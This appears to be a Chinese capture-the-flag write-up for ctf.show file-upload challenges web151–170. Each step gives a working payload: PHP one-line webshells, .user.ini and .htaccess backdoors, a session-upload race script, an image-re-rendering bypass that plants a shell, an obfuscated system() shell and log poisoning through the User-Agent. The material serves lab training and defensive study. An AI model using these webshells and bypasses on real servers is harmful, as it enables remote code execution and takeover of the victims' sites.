WEB入门——文件上传

web151

抓包修改
WEB入门——文件上传.png

/upload/a.php

web152

同上

web153

利用.user.ini来构造后门
原理:
php.ini是php的一个全局配置文件,对整个web服务起作用
.user.ini.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门
.htaccess是Apache的,.user.ini是Nginx的

auto_prepend_file=filename      //包含在文件头
auto_append_file=filename       //包含在文件尾

解决:
传一个.user.ini,里面内容写:

auto_prepend_file=a.png

WEB入门——文件上传-1.png
后上传一个png图片,包含木马
蚁剑连接:

/upload/

WEB入门——文件上传-2.png

web154

难点:过滤了php
解决:使用短标签

<?=eval($_POST[1]);?>

传一个.user.ini,再用蚁剑连接

web155

难点:过滤了一句话木马
解决:使用过滤了分号、括号的短标签

<?=`tac ../f*`?>

web156

<?=`tac ../f*`?>

web157

<?=`tac ../f*`?>

web158

<?=`tac ../f*`?>

web159

<?=`tac ../f*`?>

web160

难点:空格和反引号都被过滤了
解决:用伪协议来读取flag
先上传.user.ini

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

解析:
在 PHP 中,某些关键字(如 include)后面如果紧跟一个字符串字面量(用引号包围的内容),可以省略空格
PHP 解析器能正确识别
这是因为PHP的词法分析器(lexer)能够根据上下文自动分隔 token(词元),不需要强制空格

web161

难点:.user.ini不能直接上传
解决:伪造图片文件头 GIF89a

GIF89a

WEB入门——文件上传-4.png
WEB入门——文件上传-5.png

web162

难点:把.给过滤了
解决:使用session文件包含

GIF89a
auto_prepend_file=/tmp/sess_muma

WEB入门——文件上传-16.png

import io  
import requests  
import threading  
  
url = 'http://6be1640b-3626-4a88-8ef7-35b324b4b286.challenge.ctf.show/'  
  
  
def write(session):  
    data = {  
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>mumuzi'  
    }  
    while True:  
        f = io.BytesIO(b'GIF89a\ndotast')  
        files = {'file': ('1.png', f, 'image/png')}  
        response = session.post(url, cookies={'PHPSESSID': 'muma'}, data=data, files={'file': ('muzi.txt', f)})  

def read(session):  
    while True:  
        response = session.get(url+'upload')  
        if 'mumuzi' in response.text:  
            print(response.text)  
            break  
        else:  
            print('retry')  
  
  
if __name__ == '__main__':  
    session = requests.session()  
    write = threading.Thread(target=write, args=(session,))  
    write.daemon = True  
    write.start()  
    read(session)

web163

同上

web164

查看源码:

layui.use('upload', function(){
  var upload = layui.upload;
   
  //执行实例
  var uploadInst = upload.render({
    elem: '#upload' //绑定元素
    ,url: '/upload/' //上传接口
    ,done: function(res){
    	if(res.code==0){
    		$("#result").html("文件上传成功 <a href='download.php?image="+res.msg+"' target='_blank'>查看图片</a>");
    	}else{
    		$("#result").html("文件上传失败,失败原因:"+res.msg);
    	}
      
    }
    ,error: function(){
      $("#result").html("文件上传失败");
    }
  });
});

难点:尝试上传一张正常的图片,下载上传后的文件查看,发现本题对图片进行了二次渲染,写入的php代码容易损坏。
考点:[[png图片二次渲染绕过]]
绕过imagecopyresized()imagecopyresampled()两个函数对图片的渲染处理,保持插入的php木马不被渲染替换掉。
这两个函数属于 PHP 的 GD 图像处理库,作用是:
1.从源图像复制并缩放到目标图像
2.只处理图像的像素数据(RGB/RGBA 像素值)
3.完全丢弃原始文件的二进制结构、注释、EXIF、文件头尾以外的任何非像素内容

本题在在文件上传时进行了CRC(循环冗余校验)以确保文件未被篡改。我们在PNG文件中添加了文字,导致文件结构被破坏,从而无法通过校验。因此我们插入php代码后,必须重新计算相应的crc值并修改才能通过校验

思路1:

from PIL import Image
 
# 定义颜色数据
p = [
    0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33
]
 
# 创建一个32x32的图像
img = Image.new('RGB', (32, 32))
 
# 获取图像的像素
pixels = img.load()
 
# 设置像素颜色
for y in range(0, len(p), 3):
    r = p[y]
    g = p[y+1]
    b = p[y+2]
    # 设置像素位置 (x, y),其中 x 通过索引 / 3 来获取
    x = round(y / 3)
    pixels[x, 0] = (r, g, b)
 
# 保存图像
img.save('Flag.png')

但是该脚本生成的payload是固定的且为<?=$_GET[0]($_POST[1]);?>
GET:

?image=76474e7895cd6fdb015c35986a41f1ac.png&0=system

POST:

1=ls > 1.txt
1=tac flag.php >1.txt

或者
GET:

?image=76474e7895cd6fdb015c35986a41f1ac.png&0=system

POST:

1=tac flag.php

WEB入门——文件上传-6.png

web165

考点:[[jpg图片二次渲染绕过]]
先在网页上传这张图片
jpg渲染.jpg
然后点击查看图片,crtl+s下载被渲染过的图片,另存为1.jpg
然后运行脚本[[jpg图片二次渲染绕过]],生成payload_1.jpg
然后再上传payload_1.jpg,点击查看图片,可以看到图片有明显变化
WEB入门——文件上传-8.png
蚁剑连接
WEB入门——文件上传-7.png

web166

查看源码:

  <div class="layui-row">
	    <div class="layui-col-md12">
	    	<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}">
			  <i class="layui-icon">&#xe67c;</i>上传文件
			</button>
	    </div>
  </div>

考点:zip文件上传
解决:
跟之前一样,而且不用绕过,直接传

web167

查看源码:

  <div class="layui-row">
	    <div class="layui-col-md12">
	    	<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'jpg'}">
			  <i class="layui-icon">&#xe67c;</i>上传文件
			</button>
	    </div>
  </div>

考点:利用.htaccess文件
.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件

解决:
上传 .htaccess 文件,其内容设置如下:

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

WEB入门——文件上传-9.png

web168

考点:做免杀
难点:过滤了eval,post,get等函数
解决:使用$_REQUEST绕过

<?php   
    $poc="s#y#s#t#e#m";   
    $poc_1=explode("#",$poc);   
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];  
    $poc_2($_REQUEST['1']);  
?>

WEB入门——文件上传-11.png
GET:

/upload/download.php

POST:

1=tac ../flagaa.php

web169

查看源码:

  <div class="layui-row">
	    <div class="layui-col-md12">
	    	<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}">
			  <i class="layui-icon">&#xe67c;</i>上传文件
			</button>
	    </div>
  </div>

accept: 'images' 表示只接受图片类型文件(如 jpg、png 等)。
exts: 'zip' 却限制文件扩展名为 zip(压缩包)。

难点:<? php等都被过滤了
解决:只能考虑文件包含,用日志包含来做

服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写
index.php
WEB入门——文件上传-15.png
.user.ini

auto_append_file=/var/log/nginx/access.log

WEB入门——文件上传-14.png
User-Agent:

<?=eval($_POST[1]);?>

访问:

/upload/index.php

web170

同上

posted @ 2026-06-12 20:30  Cava1i  阅读(23)  评论(0)    收藏  举报